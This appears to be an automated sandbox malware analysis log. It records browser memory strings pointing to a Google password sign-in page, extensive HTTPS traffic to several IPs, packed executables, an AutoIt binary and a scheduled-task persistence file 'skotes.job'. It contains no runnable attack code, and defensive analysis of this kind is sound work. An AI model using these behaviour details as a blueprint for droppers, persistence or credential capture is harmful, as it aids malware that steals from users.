Source: firefox.exe, 0000001A.00000002.3075202607.000001A08B627000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3089594851.000001DCD7C4F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3261210527.000001F3C5BCF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000023.00000002.3205676434.00000229080AA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdM
Source: firefox.exe, 0000001E.00000002.3212006414.0000027F672D4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3208684384.0000027F66E20000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205676434.00000229080A0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3207596708.00000229083D4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000023.00000002.3205676434.00000229080A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdY
Source: firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.combound
Source: firefox.exe, 00000031.00000003.3288033037.000001F80F0BF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.commedia.gmp-gmpopenh264.visible
Source: firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.commedia.gmp-gmpopenh264.visiblemedia.gmp-widevinecdm.enabledwebIsolated=https://you
Source: firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.commedia.gmp-widevinecdm.enabled
Source: unknown Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 59454 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59460 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59429
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown Network traffic detected: HTTP traffic on port 59448 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59427
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59433
Source: unknown Network traffic detected: HTTP traffic on port 59419 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59432
Source: unknown Network traffic detected: HTTP traffic on port 59468 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59434
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown Network traffic detected: HTTP traffic on port 59422 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59430
Source: unknown Network traffic detected: HTTP traffic on port 59451 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59413 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59434 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown Network traffic detected: HTTP traffic on port 59465 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59436
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59439
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59438
Source: unknown Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59416 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59410 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59427 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59448
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59447
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59455
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59454
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59457
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59451
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59450
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59453
Source: unknown Network traffic detected: HTTP traffic on port 59424 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59452
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59457 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59432 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59463 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59459
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59458
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59465
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59468
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59462
Source: unknown Network traffic detected: HTTP traffic on port 59418 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59464
Source: unknown Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59463
Source: unknown Network traffic detected: HTTP traffic on port 59452 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59460
Source: unknown Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59458 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59429 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59412 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown Network traffic detected: HTTP traffic on port 59464 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59438 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown Network traffic detected: HTTP traffic on port 59455 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59430 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59409 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59423 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59450 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59408 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59433 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59408
Source: unknown Network traffic detected: HTTP traffic on port 59414 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59462 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59409
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59411
Source: unknown Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59410
Source: unknown Network traffic detected: HTTP traffic on port 59420 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59413
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59412
Source: unknown Network traffic detected: HTTP traffic on port 59447 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59459 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 59411 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59436 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59453 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59419
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59418
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59414
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59416
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59422
Source: unknown Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59424
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59423
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59420
Source: unknown Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59439 -> 443
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49999 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50005 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50011 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50015 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50018 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50021 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50029 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50064 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59409 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59414 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59419 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59420 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:59424 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59427 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59429 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59432 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59433 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59434 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59436 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59438 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59439 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59452 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59454 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59457 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59464 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59465 version: TLS 1.2

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: fb9fc5d370.exe, 0000000F.00000002.3104615180.0000000000482000.00000002.00000001.01000000.00000011.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_85d872b4-2
Source: fb9fc5d370.exe, 0000000F.00000002.3104615180.0000000000482000.00000002.00000001.01000000.00000011.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_617d5ffc-7
Source: fb9fc5d370.exe, 00000025.00000002.3269908676.0000000000482000.00000002.00000001.01000000.00000011.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_e319f75f-c
Source: fb9fc5d370.exe, 00000025.00000002.3269908676.0000000000482000.00000002.00000001.01000000.00000011.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_256e43ff-b
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name:
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name: .rsrc
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name: .idata
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name:
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr Static PE information: section name:
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr Static PE information: section name: .idata
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name:
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name: .idata
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: .idata
Source: skotes.exe.4.dr Static PE information: section name:
Source: random[1].exe.8.dr Static PE information: section name:
Source: random[1].exe.8.dr Static PE information: section name: .rsrc
Source: random[1].exe.8.dr Static PE information: section name: .idata
Source: 3f779c1cca.exe.8.dr Static PE information: section name:
Source: 3f779c1cca.exe.8.dr Static PE information: section name: .rsrc
Source: 3f779c1cca.exe.8.dr Static PE information: section name: .idata
Source: random[1].exe0.8.dr Static PE information: section name:
Source: random[1].exe0.8.dr Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr Static PE information: section name: .idata
Source: random[1].exe0.8.dr Static PE information: section name:
Source: 994a9a760e.exe.8.dr Static PE information: section name:
Source: 994a9a760e.exe.8.dr Static PE information: section name: .rsrc
Source: 994a9a760e.exe.8.dr Static PE information: section name: .idata
Source: 994a9a760e.exe.8.dr Static PE information: section name:
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name:
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name: .idata
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name:
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name:
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name: .rsrc
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name: .idata
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name:
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr Static PE information: section name:
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr Static PE information: section name: .idata
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name:
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name: .rsrc
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name: .idata
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name:
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr Static PE information: section name:
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr Static PE information: section name: .idata
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name:
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name: .idata
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name:
PE file has a writeable .text section
Source: num[1].exe.8.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05F6CF78 0_3_05F6CF78
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05F6CF78 0_3_05F6CF78
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_016B75F8 0_3_016B75F8
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_016AA301 0_3_016AA301
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_016B0600 0_3_016B0600
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05F6CF78 0_3_05F6CF78
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05F6CF78 0_3_05F6CF78
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_016AA301 0_3_016AA301
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: ZLIB complexity 0.999445647689769
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: Section: gwmdqjxo ZLIB complexity 0.9949166666666667
Source: skotes.exe.4.dr Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: skotes.exe.4.dr Static PE information: Section: gwmdqjxo ZLIB complexity 0.9949166666666667
Source: random[1].exe.8.dr Static PE information: Section: ZLIB complexity 0.999445647689769
Source: 3f779c1cca.exe.8.dr Static PE information: Section: ZLIB complexity 0.999445647689769
Source: random[1].exe0.8.dr Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686
Source: 994a9a760e.exe.8.dr Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: Section: gwmdqjxo ZLIB complexity 0.9949166666666667
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: Section: gwmdqjxo ZLIB complexity 0.9949166666666667
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000003.2763572161.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2803875794.0000000000531000.00000040.00000001.01000000.0000000B.sdmp, 994a9a760e.exe, 0000000C.00000003.2963698555.0000000005200000.00000004.00001000.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3021034052.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, num.exe, 0000001F.00000000.3094563198.0000000000FEE000.00000002.00000001.01000000.00000018.sdmp, num.exe, 0000001F.00000002.3126200943.0000000000FEE000.00000002.00000001.01000000.00000018.sdmp, 994a9a760e.exe, 00000020.00000003.3125229044.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, 994a9a760e.exe, 00000020.00000002.3227402692.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3314353221.00000000005D1000.00000040.00000001.01000000.0000001A.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000003.3179696376.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: 